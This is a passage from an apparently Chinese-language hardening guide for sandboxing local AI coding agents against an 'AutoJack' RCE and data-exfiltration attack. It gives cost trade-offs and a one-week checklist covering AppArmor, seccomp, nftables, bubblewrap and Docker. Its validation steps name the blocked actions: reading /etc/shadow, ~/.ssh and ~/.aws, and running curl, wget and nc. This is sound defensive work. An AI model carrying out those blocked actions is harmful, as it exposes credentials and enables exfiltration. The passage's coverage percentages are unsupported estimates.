1. Token 成本:本方案不直接降低 LLM API token 成本,但降低「Agent 被 RCE 后被 exfil 数据的合规成本 + 保险费用 + 法务费用」——这部分 cost saving 比 token 节省大 10-100x(参考 IBM 2025 数据泄露平均成本 488 万美元)。

2. 性能成本

  • AppArmor enforce 模式:对单次 syscall 增加 < 1% 开销(实测 Linux kernel 5.15)
  • seccomp BPF 模式:对单次 syscall 增加 < 5% 开销
  • bubblewrap:启动慢 200-500ms(unshare namespace 的开销);长期运行几乎无开销
  • Docker —security-opt:启动慢 1-3s(容器启动 + cgroup 设置);运行期 < 2% 开销
  • nftables owner match:对每个出包增加 < 0.1ms 开销

3. 维护成本

  • AppArmor profile 更新频率:每月 1-2 次(npm / pip 升级会改 binary 路径)
  • seccomp filter 更新频率:每 3-6 月 1 次(kernel 升级会改 syscall 表)
  • nftables 规则更新频率:每月 1 次(LLM API IP 段会变,用域名解析拿 IP 比硬编码稳
  • Docker image 重建频率:每 1-2 周 1 次(基础镜像 + Claude Code 升级)
  • auditd 日志清理:每周 1 次(sudo logrotate -f /etc/logrotate.d/auditd

4. 替代方案

  • 不动 AppArmor / seccomp,只用 Docker——可以拦 80% 攻击面,但拦不住 CWE-78(命令注入)——容器内 Agent 进程仍能 fork 任何 binary
  • 不动 Docker,只用 bwrap——可以拦 90% 攻击面,但拦不住 syscall 级(如 ptrace、kexec_load)
  • 只做 stage 1 + 2(独立账户 + 网络隔离)——可以拦 60% 攻击面——是最便宜的 MVP做不到 100% 但比裸奔强 10 倍
  • 跑 OpenAI / Anthropic 托管的 Agent(Codex Cloud / Claude.ai)——AutoJack 攻击面转移给厂商——合规上是把 risk transfer 给 OpenAI / Anthropic,但厂商的 RCE 风险你背不起
  • 跑本地 LLM(Ollama / vLLM / llama.cpp)替代云端 LLM——降低数据 exfil 风险,但模型能力下降 + GPU 成本上升

5. 决策树

  • 你跑的是 dev 阶段 Agent(每天 1-2 小时)→ stage 1 + 2 + 5(独立账户 + nftables + Unix socket)足够,1 天搞定
  • 你跑的是 生产阶段 Agent(每天 8+ 小时)→ stage 1 + 2 + 3 + 4 + 5 全做,1 周搞定
  • 你跑的是 企业内网 / 金融 / 医疗 Agent全做 + 6/19 MCP EMA 治理6/19 文章)+ 3 个月 SOC 2 审计

一周内可执行行动清单

按 day 排,前 5 步 6 小时内可完成

D+0(今天,2 小时)——盘点 + audit

  • ss -tlnp 列出本机所有 localhost / 0.0.0.0 监听服务
  • localhost-attack-surface-audit.md(端口 / 服务 / 认证 / 共享 Agent / CWE 命中 / 风险等级)
  • 列出 5 个最危险的共享本机服务(AutoJack 同款)
  • 列出本机所有 AI Agent 进程(pgrep -f claude / cursor / cline / codex / aider / windsurf)

D+1(明天,1 小时)——独立账户

  • useradd 建 4 个 aiagent-* 账户(claude / cursor / cline / codex)
  • setpriv --reuid 切换账户启动 Agent
  • ps -o pid,uid,user 验证 Agent 进程 UID 不是 dev account
  • 把启动脚本改成 aiagent-claude-bwrap(阶段 4 写好的 wrapper)

D+2(2 小时)——网络隔离

  • 装 nftables + 写 /etc/nftables.d/aiagent-isolation.nft
  • dig +short api.anthropic.com 拿 LLM API IP 段
  • nft -f 加载规则 + nft list ruleset 验证
  • sudo -u aiagent-claude curl 测外网拦截
  • 拦截 inbound tcp dport != { 22, 443 }

D+3(2 小时)——AppArmor + seccomp

  • /etc/apparmor.d/aiagent-claude profile(audit 模式,不要 enforce
  • apparmor_parser -r 加载
  • /etc/seccomp/aiagent-claude.json(用 auditd 数据生成,先不 enforce
  • 验证 /etc/shadow 拒绝读
  • 验证 curl / wget / nc 拒绝 exec

D+4-5(4 小时)——bubblewrap / Docker

  • /usr/local/bin/aiagent-claude-bwrap 脚本
  • 启动 + 验证 ~/.ssh / ~/.aws 不可见
  • Dockerfile.aiagent-claude + 构建 image
  • docker run--security-opt + --cap-drop ALL + --read-only
  • 验证 mount / ptrace / chmod 失败

D+6(2 小时)——Unix socket + 复现 PoC

  • 改 MCP server config:listen: unix:///run/aiagent-mcp/mcp.sock + auth.required: true + command.allowlist
  • 改 socket 权限 + group
  • 复现 Microsoft Security 公开的 AutoJack PoC(用 test-agent-victim 账户)
  • 验证四件套全拦

D+7(1 小时)——产出 + walkthrough

  • 产出**「localhost 攻击面清单 v1.0」**(Markdown 表格)
  • 产出**「AI Agent 零信任沙箱模板 v1.0」**(AppArmor + seccomp + nftables + bwrap / Docker 4 件套)
  • 产出**「4 CWE 修复 checklist」**(CWE-1385 / 306 / 78 / 缺默认 sandbox)
  • 产出**「30/90 天路线图」**(30 天:所有 dev 机 + staging;90 天:所有生产 Agent + 第三方 audit)
  • 走 CISO / VP Eng walkthrough(参考 6/21 快报第 3 条 + 6/19 MCP EMA 治理)

附:参考资料